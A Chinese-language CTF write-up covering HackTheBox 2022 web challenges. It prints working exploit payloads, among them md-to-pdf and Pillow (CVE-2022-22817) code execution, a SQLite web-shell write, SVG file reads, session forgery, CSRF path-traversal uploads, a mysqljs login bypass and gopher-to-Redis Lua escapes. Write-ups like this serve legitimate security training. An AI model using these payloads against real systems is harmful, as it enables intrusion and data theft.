当前位置:   article > 正文

HackTheBox-CTF2022_cve-2022-22817

cve-2022-22817

image-20220519192325321

Before

五天的比赛,总共61道赛题,11道web题目,队友依旧给力,pwn,re,misc等都ak了,最后写出了59道题目,位于7014支队伍的第7名。

目前是周四下午18.30,距离比赛结束还有2h,结束五天沉迷解题的状态,下载附件、代码审计、发现异常、搜索漏洞、构造payload、本地测试, 一个字:爽。不过web这回算是个败笔了,差一题AK,啧啧啧,我太菜了

Kryptos Support

  • 逻辑漏洞
  • XSS

The secret vault used by the Longhir’s planet council, Kryptos, contains some very sensitive state secrets that Virgil and Ramona are after to prove the injustice performed by the commission. Ulysses performed an initial recon at their request and found a support portal for the vault. Can you take a look if you can infiltrate this system?

开局一个留言框

image-20220515183913950

可以xss到cookie,替换后可以更改密码。抓更改密码的包,发现可以更换uid,更换为1,就可以换掉admin的密码了,然后登录admin

FLAG:HTB{x55_4nd_id0rs_ar3_fun!!}

BlinkerFluids

  • gray-matter
  • md-to-pdf

实现的功能就是用户可控输入,将md格式转换为pdf文件,使用的组件就是 md-to-pdf

image-20220515071114887

image-20220515071229355

找到了相关cve漏洞,https://github.com/simonhaenisch/md-to-pdf/issues/99

payload,机器不出网,写到static下

---js
((require("child_process")).execSync("cat /flag.txt > /app/static/test.txt"))
---RCE
  • 1
  • 2
  • 3

FLAG:HTB{bl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls}

Amidst Us

  • Pillow 9.0.0
  • ImageMath.eval

The AmidstUs tribe is a notorious group of sleeper agents for hire. We have plausible reasons to believe they are working with Draeger, so we have to take action to uncover their identities. Ulysses and bonnie have infiltrated their HQ and came across this mysterious portal on one of the unlocked computers. Can you hack into it despite the low visibility and get them access?

下载附件审计代码,主要功能是上传一个图片,然后调用PIL库中的函数进行图像的更改

可以看到调用了make_alpha()函数

image-20220515133018844

看一下功能,去获取传入的background,然后下面调用了eval函数,根据以往经验,这个eval肯定是存在问题的

果然找到相关cve信息 CVE-2022-22817 NVD - CVE-2022-22817 (nist.gov),Pillow 9.0.0 之前的 ImageMath.eval 允许计算任意表达式

我们紧接着看下面的代码

alpha = ImageMath.eval(
			f'''float(
				max(
				max(
					max(
					difference1(red_band, {color[0]}),
					difference1(green_band, {color[1]})
					),
					difference1(blue_band, {color[2]})
				),
				max(
					max(
					difference2(red_band, {color[0]}),
					difference2(green_band, {color[1]})
					),
					difference2(blue_band, {color[2]})
				)
				)
			)''',
			difference1=lambda source, color: (source - color) / (255.0 - color),
			difference2=lambda source, color: (color - source) / color,
			red_band=img_bands[0],
			green_band=img_bands[1],
			blue_band=img_bands[2]
		)

		new_bands = [
			ImageMath.eval(
				'convert((image - color) / alpha + color, "L")',
				image=img_bands[i],
				color=color[i],
				alpha=alpha
			)
			for i in range(3)
		]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

payload,老样子不出网

{"image":"iVBORw0...","background":[255,255,"__import__('os').system('cat /flag.txt > /app/application/static/js/test.txt')"]}
  • 1

image-20220515142221771

FLAG:HTB{i_slept_my_way_to_rce}

Intergalactic Post

  • SQlite3 写shell

The biggest intergalactic newsletter agency has constantly been spreading misinformation about the energy crisis war. Bonnie’s sources confirmed a hostile takeover of the agency took place a few months back, and we suspect the Golden Fang army is behind this. Ulysses found us a potential access point to their agency servers. Can you hack their newsletter subscribe portal and get us entry?

使用sqlite3,发现一个注入处而且使用的是exec,可以堆叠写shell,关于sqlite的注入:https://xz.aliyun.com/t/8627#toc-5

image-20220515232701843

本地测试成功

test2','1@qq.com');ATTACH DATABASE 'D:/phpstudy_pro/WWW/htb/challenge/tmp/shell.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');--
  • 1

image-20220516134739755

对于题目找对写的路径就行了

X-Forwarded-For: test2','1@qq.com');ATTACH DATABASE 'static/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');--
  • 1

image-20220516135539466

FLAG:HTB{inj3ct3d_th3_tru7h}

Mutation Lab

  • nodejs
  • cookie-session伪造
  • convert-svg-core

One of the renowned scientists in the research of cell mutation, Dr. Rick, was a close ally of Draeger. The by-products of his research, the mutant army wrecked a lot of havoc during the energy-crisis war. To exterminate the leftover mutants that now roam over the abandoned areas on the planet Vinyr, we need to acquire the cell structures produced in Dr. Rick’s mutation lab. Ulysses managed to find a remote portal with minimal access to Dr. Rick’s virtual lab. Can you help him uncover the experimentations of the wicked scientist?

可以看到需要以admin用户登录

image-20220515165415343

抓包看看,发现返回一个 session 和 session.sig

image-20220515173221436

session为 {"username":"123-1234-1233"} 很明显需要伪造身份为admin,但是session.sig作为验证session的东西,需要知道secret_key 来进行伪造。

注册用户登录成功后发现有导出图片功能,抓包让其报错,可知用到了 convert-svg-core 库,搜索其漏洞:https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-1582785

payload

{"svg":"<svg-dummy></svg-dummy><iframe src=\"file:///app/index.js\" width=\"100%\" height=\"1000px\"></iframe><svg version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"500\" height=\"400\" viewBox=\"0,0,500,400\"></svg>"}
  • 1

image-20220515174121644

再去获取 .env 文件得到 key

SESSION_SECRET_KEY=5921719c3037662e94250307ec5ed1db
  • 1

开始伪造

var session = require('cookie-session')
var express = require('express')

var app = express()
app.use(session({
  name: 'session',
  keys: ['5921719c3037662e94250307ec5ed1db']
}))

app.get('/', function (req, res, next) {
    req.session.username = 'admin'
    res.json({
    wow: 'Y0ng',
  })
})
app.listen(3000)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

替换session与session.sig,成功admin身份登录

FLAG:HTB{fr4m3d_th3_s3cr37s_f0rg3d_th3_entrY}

Acnologia Portal

  • flask
  • CSRF
  • 目录穿越zip
  • SSTI

Bonnie has confirmed the location of the Acnologia spacecraft operated by the Golden Fang mercenary. Before taking over the spaceship, we need to disable its security measures. Ulysses discovered an accessible firmware management portal for the spacecraft. Can you help him get in?

首先通读代码,发现其中的report路由下可以添加报告,然后bot会去查看report,所以这里存在一个xss

image-20220516150331246

看到bot以admin身份进行登录

image-20220516150509630

接着往下看函数功能,有一个上传的功能,这里有个 is_admin 的判断

限制了本地登录,所以窃取cookie进行登录不可实现了,可以尝试借助xss,然后让管理员上传文件然后去打SSTI

image-20220516150720086

来看一下上传的功能点,重点就是这里解压文件处,可以利用构造带 .. 来进行目录穿越

image-20220516210533728

如果去翻看文档,会发现这里就是一个警告

image-20220516210605254

本地实验:

脚本生成个目录穿越的 test.tar.gz,这里的目录以及文件必须要存在

import tarfile
import os
 
#创建压缩包名
tar = tarfile.open("/tmp/test.tar.gz","w:gz")
#创建压缩包
tar.add('../app/application/templates/y0ng.html')
tar.close()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

app.py

from flask import Blueprint, jsonify, redirect, render_template, request,Flask
import functools, tarfile, tempfile, os

app = Flask(__name__)

@app.route('/',methods=['POST'])
def hello_world():
    if 'file' not in request.files:
        return response('Missing required parameters!')

    extraction = extract_firmware(request.files['file'])
    if extraction:
        return response('Firmware update initialized successfully.')

    return response('Something went wrong, please try again!')


def extract_firmware(file):  # 上传文件功能
    tmp  = tempfile.gettempdir()   # /tmp 临时目录
    path = os.path.join(tmp, file.filename)  # /tmp/test.txt
    file.save(path)  # 保存文件

    if tarfile.is_tarfile(path): # 是tarfile
        tar = tarfile.open(path, 'r:gz')  # gzip打开
        tar.extractall(tmp)  # 解压所有文件
        # exp:/tmp/ ../app/application/templates/y0ng.html

        #rand_dir = generate(15)
        extractdir = "/app/application/static/firmware_extract/rand" # /app/application/static/firmware_extract
        os.makedirs(extractdir, exist_ok=True) # 创建目录
        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                try:
                    filename = f'{extractdir}/{name}' # /app/application/static/firmware_extract/rand/{name}
                    # /app/application/static/firmware_extract/rand/  name = ../../../templates/index.html
                    os.rename(os.path.join(tmp, name), filename)
                    continue
                except:
                    pass
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)
        tar.close()
        return True

    return False

def response(message):
    return jsonify({'message': message})


if __name__ == '__main__':
   app.run(host='0.0.0.0', port=3000, debug=True)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52

上传文件:成功了!

image-20220516210910214

剩下的就是通过 js 达到一个CSRF的效果

<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:1337/api/firmware/upload");
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
    	xhr.setRequestHeader("Origin", "null");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarypXheHIDWfea2zg7D");
        xhr.withCredentials = "true";
        var body = 
          "------WebKitFormBoundarypXheHIDWfea2zg7D\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"test.tar.gz\"\r\n" +
          "Content-Type: application/x-gzip\r\n" +
          "\r\n" +decodeURIComponent(atob("H4sICMFwg2IC/3JvdXRlcy50YXIA7VdfbxtFEPezP8VWeThbOp2dNI2lSpYiJEB9QCAKT1F1WvvWztL7Y3b3YkyFlEqVoEFQkCjiTyQaRBEPiJSXtjQBvkzshG/B7O7t2Xc+JxFErUA3UuK73bnfzOzMb3fWcRqO08CDgfzzaRcLGoWNjh+TAaOh4A0WxYJwZzCq/GNpgrRaLfULkv9tXVltVZZXV1aba63m8tpKpbnSXLt8pYKalecgMReYIVRhUSRO0ztrPh/cf0RoMIiYQO/wKKz2WBSgmTJwPCxwB3OCEq23OWE2eoWyYIgZsdGbRA7byOvYKKB9hgVxvc48TiyobzAod7EX0NBG5D3BcFe4vQRPf9fzMb9plF8ydWgrD2lvZCNGPMpIV8in0CPMFSQY+GBaDrwbEy5mgFw/6tPQwHVjBt8IN1ZxqClXfgN4nnlP56Du1ct8OJ1IGMQtyqkADPlSrQ5JB7WnTtcsGLBs5LohDojr1qt4QLMKMJBRqHqkB2HwQRRyUgsI57hP6lerCIQREbPQLETtlpVMW1dR8vQBAKyDTUeRtmY1ADsgYjPyeHvDevXlt6wbdWVBhVrL4uZWs2YpJWdTBL6Vxx01w/4ibDk3B50EZG3i7k2FBoGnaMpQBu6N16+neDIHbsZh2kMhpCDJtgMVJddEzxVafY1yTsM+MrlGA8xgwQVh/JJVt9Fqc7mqvpYFDwkyyH0iFHStjnKypNIweXA4Prx3/M2d468Pxr/fn9x/NPnkFwUknZY5BTCJKZFqlhmEUC0LIJXmAHM+jJiX0TSDWrM6G3WKHDH1blQvInyJDX5ImjuwAmzk9KgPam5nVDN22+ahDpOMC7k2S2jy3cOT/e/R8Rc/TT56Agty9Ofe5Pb+nOPGafnsTCNvnyeKa+EW9qmXWQDzWRLGZW1wSmTltXJQZ0j7V1yaMmqEY7EJO4RkOqwTj7tdYFYv9v3RpTkSMNKnHFZnERHM/Fk8M3pTqs2So9DKHD+0FlP70wukyXlr/39S+al7cuYUN3Rp+YxgbwTHHmQqZz4kQ3fGhXmTdhpt2zzUJe2eHIx3Hky+fDRT2F7H4VC08qDCnlcz0PX8ZDcKApoGUeyzKb4zueBhvtmJMOStXl3PHqyqSNP5s8iQKhazwfQKDR/8KiAerIlpT9D422dHB48L3TEwroQxLmUGIRMGKCkI7PtJgecO4g0WDR0RuR7tyt2wB+UJIwjajgyicm7y1R/HPzyb3N2e7N5dFJruJgr5XhSLVneh0mPyoqkfRF7sE5dmOZ2OzpBfuZvRUiMFtJ9iJrxXihcRi6SGXj1wRPeytdRaO32ytcW2+m8n60082Brasw2lk24PkGetNN7/7eTXveM7j8effaqpuoihWv8Mjs42m8mxu39vsvNw/PnO0dPtyc97CDpTOImPdz/W7zonaWO+kOvXVDJMYAVUL6zTeOBH2DtXna6brh+dX5aQ+uKv3e2TH29nWRsPPLlZTIvdgt2aWLo6wrQ45SC/iEJJbiqQESiU/LWlljG3oV25odJz9HTn6BC25w/lPpS4OsU6xbN0D9ORQlBUUOh+3s9lx7EWpfR6JLMioxtCgaIhi8I+HCI+kdc5wUYI9zENp31TrrPZomRY1Nf8y8Qu5VOqLaU1rZdEU5GnpJzdgFHSbUKN610Ums3k+nV6jyXt6DPFUJi3E0P5w0xf/hacZHrSuDpzT8weDuaWKi9hgF8ppZRSSimllFJKKaWUUkoppZRSSimllFJKKaWU5yl/A8Vb63YAKAAA").replace(/%/g, '%25'))+
          "\r\n" +
          "------WebKitFormBoundarypXheHIDWfea2zg7D--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
	  submitRequest();
	</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

本地完全没问题,但是题目环境不行,起个docker试试,顺带记录一下起docker换源的经历

先 sh build-docker.sh,然后会生成一个docker image,参考:https://blog.csdn.net/weixin_37551036/article/details/114482730 进入docker,然后换源,在Dockerfile添加,速度起飞

RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories
  • 1

上TMD大当了,卧槽,发现没有这个路由,少了个 api/

image-20220517004550340

填入payload

image-20220517095325660

成功

image-20220517095413034

但是发现它不能立即渲染html,很是难受,现在想法是让tarbomb来crash掉flask应用,等到重启时,便达到目的

run.py

python2 eval.py run.py -p app/ -d 2 -o unix -f run.tar.gz
  • 1
from application.main import app
from application.database import migrate_db

with app.app_context():
    migrate_db()

app.run(host='0.0.0.0', port=1337, debug=True, use_evalex=True)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:1337/api/firmware/upload");
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarypXheHIDWfea2zg7D");
        xhr.withCredentials = "true";
        var body = 
          "------WebKitFormBoundarypXheHIDWfea2zg7D\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"run.tar.gz\"\r\n" +
          "Content-Type: application/x-gzip\r\n" +
          "\r\n" +decodeURIComponent(atob("H4sICNGNg2IC/3J1bi50YXIA7dLRasMgFAZgr30K75pAMKYJFQZ5i90H07hWaGIwx619+5rAGHSwXW0w9n8iB44/B0SlLKUszTyXIU5yvrEfoBKt9VaTx6r2WrGq2TdKq4OuUq6qm+rAhGK/IC5kghAseE9f5b47f7zcH/ES/CjS81/c0ZDzkxyNm4QbZx9o7fNPgcGQ6c1i30OjOwVDtht6zt8cndewTLs7+onslbL8iYvkI5flnK+h9OOys1+o3Sm5rV0h1pFtVde6EIPt46l9DtEWIi62s6/mYq9bI+cMAAAAAAAAAAAAAAAAAAAAAADgn7sDYnNphwAoAAA=").replace(/%/g, '%25'))+
          "\r\n" +
          "------WebKitFormBoundarypXheHIDWfea2zg7D--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
	  submitRequest();
	</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

routes.py

python2 eval.py routes.py -p app/application/blueprints -d 2 -o unix -f routes.tar.gz
  • 1
<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:1337/api/firmware/upload");
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarypXheHIDWfea2zg7D");
        xhr.withCredentials = "true";
        var body = 
          "------WebKitFormBoundarypXheHIDWfea2zg7D\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"routes.tar.gz\"\r\n" +
          "Content-Type: application/x-gzip\r\n" +
          "\r\n" +decodeURIComponent(atob("H4sICLGFg2IC/3JvdXRlcy50YXIA7Vffi+M2EM5z/grdkxwwTnZv2YUDw1LoHfdQWnq9p2UxcqQk6tmWK8mbpqX/+40ky7EdZ7Mcy5UDfbAbWzOaH5pvJDlJlkmyJHVt/gq+JpqLapkXDaslr7RaStFoppL6MPtmrAB3d3f2FzD+vVtdX8+ubq5vzNPt26vZ6np1e3U7Q6vZd0CjNJEIzaQQ+jm9S/Jxcj8IeFkLqdGfSlTzjRQl6tEgoUSTnCiGWq3PiskYveey3BPJYvQ7M8MxonmMSr6VRLOM5qd2Gs0Lb4OrjNCSVzFif2tJ1jrbtPbcvE1B1Bev/JPnYWwj5JtDjCSjXLK1Nk8VZTLTrKwLcG0G/mqY0j1DWSG2vPLm1o2EOTprbB5WlJk5YI/6904GvLcvp+nkQnuLT1xxDTbMy3y+ZzlKj0FHGAZwjLKsIiXLssWc1HyoAAMDhTllG0hD1aJSLCqZUmTLFu/mCCCZbmTlFyL6F7di/A61T/+BgXvwmdimjfASbJdM7wRV6QP+8PMf+HFhPdhUo6Hd0WpG2ColO10WeGxX7VhR4HjStpWd2G4zwjuy/pIfDqtqa41C/p1R628Q8W+/furMmlJkg7j5BlVQibboCRDLLI2TTfr+hSvFqy3yJUc1kbDumkn1Bi9idLO6mtvZhvdQJ295y7Q1HS2s1ERi6gUaRtGII+wHIX6MnV5NlNoLSQd6frDV6yfS2RXSvnvV18jI2IY4TAMnkJQ8JBtegFqWHyLvN/UPCxBKpaPT8Hxo5jk55pe+JNaP1RMpOB2k6ae1wb51Do+NaGNbTDPJ5IJIo3fQ0aYzIXvVrNfQCZumKA5vTkgr2ZYryPlcU3j5pb7wesfW6LN40ssJkZ2WtPtJ4PN357ORPBOGo1YhGaEHOKagUiP3FdtnvRBOXcZdtql/cItI80QBRc0xQiiNvKET4VqUJe9Cno7QU+0i8ylRu1wQqNJifj889iwlO/kl6neK09z3J/mygLim2mzKuZ+UmUk+gMEgrLK/c7TFJuaEmToUH6TYJ1pklK/BFtoA9WAEwRVgYPHxbOTuKJ9s3qngnXoGtG3Y/93HpaBNwTI+bNButNfJNtyBlh2Z6OGjzbaJreJr5GKY71YPAnEXyajzlnZPsfOY2v9xu96MQp+n/dtc0vX6uS5zMy/0Wf8651e1u9eebcaPdjl9aBO9OMm0pi4EoS9i2r2/NA8bpqmp6coj7TBsggy7OlUdTcygeo2StRd2WDYo2fj2Hg3cPbhQHhc+tOPcZyLxXY5cZpAE1xwuDf+MVjXB50rxSZjVNNnsgRpoL0W1hb24YOYrRssDIlvCq+N1Y3RBeOJs/5J9a1gQN6+jjUvQUVp15D63c01cL4w1t8F6wqu0NTfe2d13yplt3Ql9QL1PmnEE7oPKfC+A/VlAQEBAQEBAQEBAQEBAQEBAQEBAQEBAwA+Or6sUNcQAKAAA").replace(/%/g, '%25'))+
          "\r\n" +
          "------WebKitFormBoundarypXheHIDWfea2zg7D--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
	  submitRequest();
	</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

TMD,REtard师傅,我的超人!一句话点破我,现在存在任意文件写,不访问 register.html,绕过模板缓存,直接POST注册用户,然后写文件,再去房访问 register.html 成功SSTI!

注册用户:

image-20220518110753948

构造恶意zip:

image-20220518110611626

CSRF:

<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:1337/api/firmware/upload");
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarypXheHIDWfea2zg7D");
        xhr.withCredentials = "true";
        var body = 
          "------WebKitFormBoundarypXheHIDWfea2zg7D\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"register.tar.gz\"\r\n" +
          "Content-Type: application/x-gzip\r\n" +
          "\r\n" +decodeURIComponent(atob("H4sICIRihGIC/3JlZ2lzdGVyLnRhcgDt0s1qAyEQB3DPeQpvm1xG3Xzsre9RSlnM1mwEo6JTKIS8e+0eU2ihlELh/wOZYZzLDEOkiJTN+eMFP1n2KSp2lxwsu6qKm31lV+jMlyB+RjfDMCyxuY/aHIwwu35n9MGY7V7o3vTbQUgt/sBrZVukFCUl/qrvu//74f6J63VK8eRnGscp2FrHsWU+el6SOaSjDa341KXaPVNO2cV1165EqlOwM/Ebywf56X7aTtlP6lHHpaXbUHH2Zb253VYCAAAAAAAAAAAAAAAAAAAAAAAAfsM7tQhSNgAoAAA=").replace(/%/g, '%25'))+
          "\r\n" +
          "------WebKitFormBoundarypXheHIDWfea2zg7D--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
	  submitRequest();
	</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

访问 /register:空白,成功了

image-20220518111443527

再访问 url/static/Y0ng.txt

FLAG:HTB{des3r1aliz3_4ll_th3_th1ngs}

看这flag,这种解法是非预期了?

Spiky Tamagotchy

可以看到/interface路由下的函数功能直接拼接到 Function()中,明显可以rce,开始debug

image-20220517202041248

但是前面有个登录页面,不知道任何的用户信息,而且没有注册功能

登录处理:使用了占位符防止注入

image-20220517231405348

另外有 JWT 的检查

image-20220517231451361

这两个东西让我不知道怎么绕过他们,这道题我尝试了一下午,最终找到一篇绕过文章写的非常详细:https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4

利用nodejs中类型的处理进行绕过,payload

{"username":"admin","password":{"password":1}}
  • 1

会导致最终查询的语句变为

'SELECT username FROM user WHERE username = 'admin' AND password = `password` = 1'
  • 1

针对不同类型进行不同的转移处理,这里处理Object,看到返回的sql

image-20220518085101326

最后拼接sql语句

image-20220518085215514

登录成功

image-20220518084946419

构造 payload,类似命令注入

{"activity":"123'){if(a='123'){a='234'} return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt > /app/static/test.txt')};with(a='1","health":"50","weight":"42","happiness":"50"}
  • 1

FLAG:HTB{3sc4p3d_bec0z_n0_typ3_ch3ck5}

Red Island

  • 认证redis
  • CVE-2022-0543

/app/index.js 这里存在redis的认证密码

require("express");
const app = express();
const session = require("express-session");
const RedisStore = require("connect-redis")(session);
const path = require("path");
const cookieParser = require("cookie-parser");
const nunjucks = require("nunjucks");
const routes = require("./routes");
const Database = require("./database");
const { createClient } = require("redis");
const redisClient = createClient({ legacyMode: true });
const db = new Database("redisland.db");
app.use(express.json());
app.use(cookieParser());
redisClient.connect().catch(console.error);
app.use(
  session({
    store: new RedisStore({ client: redisClient }),
    saveUninitialized: false,
    secret: "r4yh4nb34t5B1gM4c",
    resave: false,
  })
);

nunjucks.configure("views", { autoescape: true, express: app });

app.set("views", "./views");

app.use("/static", express.static(path.resolve("static")));

app.use(routes(db));

app.all("*", (req, res) => {
  return res.status(404).send({ message: "404 page not found" });
});

(async () => {
  await db.connect();
  await db.migrate();
  app.listen(1337, "0.0.0.0", () => console.log("Listening on port 1337"));
})();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41

看到 /app/routers/index.js 提供图片下载功能

image-20220518114745346

看下 /app/helpers/ImageDownloader.js,其中使用了 node-libcurl 这个库,翻看文档支持协议有

支持 DICT、FILE、FTP、FTPS、Gopher、HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S、RTMP、RTSP、SCP、 SFTP、SMTP、SMTPS、Telnet 和 TFTP

image-20220518114814858

然后按照之前题目的文件构造读了一下其他文件,没啥用,总结下来就是打认证redis

exp

import urllib.parse
protocol = "gopher://"
ip = "localhost"
port = "6379"
shell = "\n\ntest\n\n"
filename = "test.txt"
path = "/app/static"
passwd = ""
cmd = ["auth r4yh4nb34t5B1gM4c",
	"flushall",
	"set 1 {}".format(shell.replace(" ","${IFS}")),
	"config set dir {}".format(path),
	"config set dbfilename {}".format(filename),
	"save",
	"quit"
	]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
	CRLF = "\r\n"
	redis_arr = arr.split(" ")
	cmd = ""
	cmd += "*" + str(len(redis_arr))
	for x in redis_arr:
		cmd += CRLF + "$" + str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd += CRLF
	return cmd
if __name__=="__main__":
	for x in cmd:
		payload += urllib.parse.quote(redis_format(x))
	print(payload)
	#print(urllib.parse.quote(payload))  urlencode
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

image-20220518133746593

访问之后,确实可以写文件

image-20220518133827324

发现是redis5.0.7,那就是 CVE-2022-0543 喽,vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)

更换exp:

import urllib.parse

protocol = "gopher://"
ip = "localhost"
port = "6379"
shell = """local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/flag > /app/static/rce.txt", "w"); local res = f:read("*a"); f:close(); return res"""
filename = "test.txt"
path = "/app/static"
passwd = ""
cmd = [
    "auth r4yh4nb34t5B1gM4c",
	"eval {} 0".format(shell.replace(" ","${IFS}")),
	]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
	CRLF = "\r\n"
	redis_arr = arr.split(" ")
	cmd = ""
	cmd += "*" + str(len(redis_arr))
	for x in redis_arr:
		cmd += CRLF + "$" + str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd += CRLF
	return cmd
if __name__=="__main__":
	for x in cmd:
		payload += urllib.parse.quote(redis_format(x))
	print(payload)
	#print(urllib.parse.quote(payload))  urlencode
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

FLAG:HTB{r3d_righ7_h4nd_t0_th3_r3dis_land!}

Genesis Wallet

登录需要使用OTP验证,使用在线

https://chrome.google.com/webstore/detail/authenticator/bhghoamapcdpbohphigoooaddinpkbai

扫描非常方便,这题非预期,注册两个号,转负数即可

FLAG:HTB{fl3w_t00_cl0s3_t0_th3_d3cept10n}

Genesis Wallet’s Revenge

修复了负数,来正式的看一下这个题

/routes/index.js

注册登录用户就不说了,登录时要求OTP,来个正面图

image-20220518212731980

模拟转账功能,send存在一个note,这里可能存在xss

image-20220518212824308

来看一下flag的获得条件:用户余额大于1337,而且用户还不能是 icarus,这个就是类似管理员,他的信息存在database.js中

image-20220518212308920

这个OTP给我留下过挺深印象的:NahamCon CTF 2022 的 Two For One,几乎是一摸一样

抓包看看转账时,存在一个过滤

image-20220518214521458

